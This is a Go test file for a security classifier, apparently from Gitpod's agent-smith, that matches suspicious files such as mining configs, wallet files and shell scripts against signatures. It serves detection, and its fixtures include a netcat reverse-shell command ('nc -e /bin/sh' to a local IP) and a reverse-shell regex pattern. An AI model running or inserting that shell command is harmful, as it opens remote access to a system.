Path: blob/main/components/ee/agent-smith/pkg/classifier/filesystem_test.go
2501 views
// Copyright (c) 2024 Gitpod GmbH. All rights reserved.1// Licensed under the GNU Affero General Public License (AGPL).2// See License.AGPL.txt in the project root for license information.34package classifier56import (7"os"8"path/filepath"9"testing"10)1112func TestSignatureMatchClassifier_MatchesFile(t *testing.T) {13// Create temporary directory for test files14tempDir, err := os.MkdirTemp("", "agent-smith-test")15if err != nil {16t.Fatalf("failed to create temp dir: %v", err)17}18defer os.RemoveAll(tempDir)1920// Create test files21testFiles := map[string][]byte{22"mining.conf": []byte("pool=stratum+tcp://pool.example.com:4444\nwallet=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"),23"wallet.dat": []byte("Bitcoin wallet data with private keys"),24"normal.txt": []byte("This is just a normal text file"),25"script.sh": []byte("#!/bin/bash\necho 'Hello World'"),26"malicious.sh": []byte("#!/bin/bash\nnc -e /bin/sh 192.168.1.1 4444"),27}2829for filename, content := range testFiles {30filePath := filepath.Join(tempDir, filename)31if err := os.WriteFile(filePath, content, 0644); err != nil {32t.Fatalf("failed to create test file %s: %v", filename, err)33}34}3536tests := []struct {37name string38signatures []*Signature39filePath string40expectMatch bool41expectLevel Level42}{43{44name: "filesystem signature with filename match",45signatures: []*Signature{46{47Name: "mining_pool_config",48Domain: "filesystem",49Pattern: []byte("stratum+tcp://"),50Filename: []string{"mining.conf", "*.conf"},51},52},53filePath: filepath.Join(tempDir, "mining.conf"),54expectMatch: true,55expectLevel: LevelAudit,56},57{58name: "filesystem signature with wildcard filename",59signatures: []*Signature{60{61Name: "shell_script",62Domain: "filesystem",63Pattern: []byte("#!/bin/bash"),64Filename: []string{"*.sh"},65},66},67filePath: filepath.Join(tempDir, "script.sh"),68expectMatch: true,69expectLevel: LevelVery,70},71{72name: "filesystem signature with content match but wrong filename",73signatures: []*Signature{74{75Name: "specific_file_only",76Domain: "filesystem",77Pattern: []byte("Hello World"),78Filename: []string{"specific.txt"},79},80},81filePath: filepath.Join(tempDir, "script.sh"),82expectMatch: false,83expectLevel: LevelNoMatch,84},85{86name: "filesystem signature without filename restriction",87signatures: []*Signature{88{89Name: "bitcoin_wallet",90Domain: "filesystem",91Pattern: []byte("Bitcoin wallet"),92},93},94filePath: filepath.Join(tempDir, "wallet.dat"),95expectMatch: true,96expectLevel: LevelBarely,97},98{99name: "process signature should not match filesystem files",100signatures: []*Signature{101{102Name: "process_only",103Domain: "process",104Pattern: []byte("Hello World"),105},106},107filePath: filepath.Join(tempDir, "script.sh"),108expectMatch: false,109expectLevel: LevelNoMatch,110},111{112name: "filesystem signature with regex pattern",113signatures: []*Signature{114{115Name: "reverse_shell",116Domain: "filesystem",117Pattern: []byte("nc.*-e.*sh"),118Regexp: true,119Filename: []string{"*.sh"},120},121},122filePath: filepath.Join(tempDir, "malicious.sh"),123expectMatch: true,124expectLevel: LevelVery,125},126{127name: "no filesystem signatures",128signatures: []*Signature{129{130Name: "process_sig",131Domain: "process",132Pattern: []byte("anything"),133},134},135filePath: filepath.Join(tempDir, "normal.txt"),136expectMatch: false,137expectLevel: LevelNoMatch,138},139{140name: "content pattern mismatch",141signatures: []*Signature{142{143Name: "nonexistent_pattern",144Domain: "filesystem",145Pattern: []byte("this_pattern_does_not_exist"),146Filename: []string{"*.txt"},147},148},149filePath: filepath.Join(tempDir, "normal.txt"),150expectMatch: false,151expectLevel: LevelNoMatch,152},153}154155for _, tt := range tests {156t.Run(tt.name, func(t *testing.T) {157// Validate signatures158for _, sig := range tt.signatures {159if err := sig.Validate(); err != nil {160t.Fatalf("signature validation failed: %v", err)161}162}163164classifier := NewSignatureMatchClassifier("test", tt.expectLevel, tt.signatures)165166result, err := classifier.MatchesFile(tt.filePath)167if err != nil {168t.Fatalf("unexpected error: %v", err)169}170171if tt.expectMatch {172if result.Level == LevelNoMatch {173t.Errorf("expected match but got no match")174}175if result.Level != tt.expectLevel {176t.Errorf("expected level %v, got %v", tt.expectLevel, result.Level)177}178if result.Classifier != ClassifierSignature {179t.Errorf("expected classifier %v, got %v", ClassifierSignature, result.Classifier)180}181} else {182if result.Level != LevelNoMatch {183t.Errorf("expected no match but got level %v", result.Level)184}185}186})187}188}189190func TestSignatureMatchClassifier_FilesystemFileNotFound(t *testing.T) {191signatures := []*Signature{192{193Name: "test_sig",194Domain: "filesystem",195Pattern: []byte("test"),196},197}198199classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures)200201result, err := classifier.MatchesFile("/nonexistent/file.txt")202if err != nil {203t.Fatalf("unexpected error: %v", err)204}205206if result.Level != LevelNoMatch {207t.Errorf("expected no match for nonexistent file, got level %v", result.Level)208}209}210211func TestSignatureMatchClassifier_ContentMatching(t *testing.T) {212tests := []struct {213name string214filename string215content string216pattern string217expectMatch bool218}{219{220name: "content matches pattern",221filename: "any-file.txt",222content: "test content",223pattern: "test",224expectMatch: true,225},226{227name: "content does not match pattern",228filename: "any-file.txt",229content: "different content",230pattern: "test",231expectMatch: false,232},233{234name: "empty content",235filename: "empty-file.txt",236content: "",237pattern: "test",238expectMatch: false,239},240{241name: "binary pattern match",242filename: "binary-file.dat",243content: "foobar\n",244pattern: "foobar",245expectMatch: true,246},247}248249for _, tt := range tests {250t.Run(tt.name, func(t *testing.T) {251// Create a temporary file for testing252tempDir, err := os.MkdirTemp("", "agent-smith-content-test")253if err != nil {254t.Fatalf("failed to create temp dir: %v", err)255}256defer os.RemoveAll(tempDir)257258filePath := filepath.Join(tempDir, tt.filename)259if err := os.WriteFile(filePath, []byte(tt.content), 0644); err != nil {260t.Fatalf("failed to create test file: %v", err)261}262263signatures := []*Signature{264{265Name: "test_sig",266Domain: "filesystem",267Pattern: []byte(tt.pattern),268Filename: []string{}, // Empty filename list - classifier skips filename matching269},270}271272if err := signatures[0].Validate(); err != nil {273t.Fatalf("signature validation failed: %v", err)274}275276classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures)277278result, err := classifier.MatchesFile(filePath)279if err != nil {280t.Fatalf("unexpected error: %v", err)281}282283if tt.expectMatch {284if result.Level == LevelNoMatch {285t.Errorf("expected content match but got no match")286}287} else {288if result.Level != LevelNoMatch {289t.Errorf("expected no content match but got level %v", result.Level)290}291}292})293}294}295296297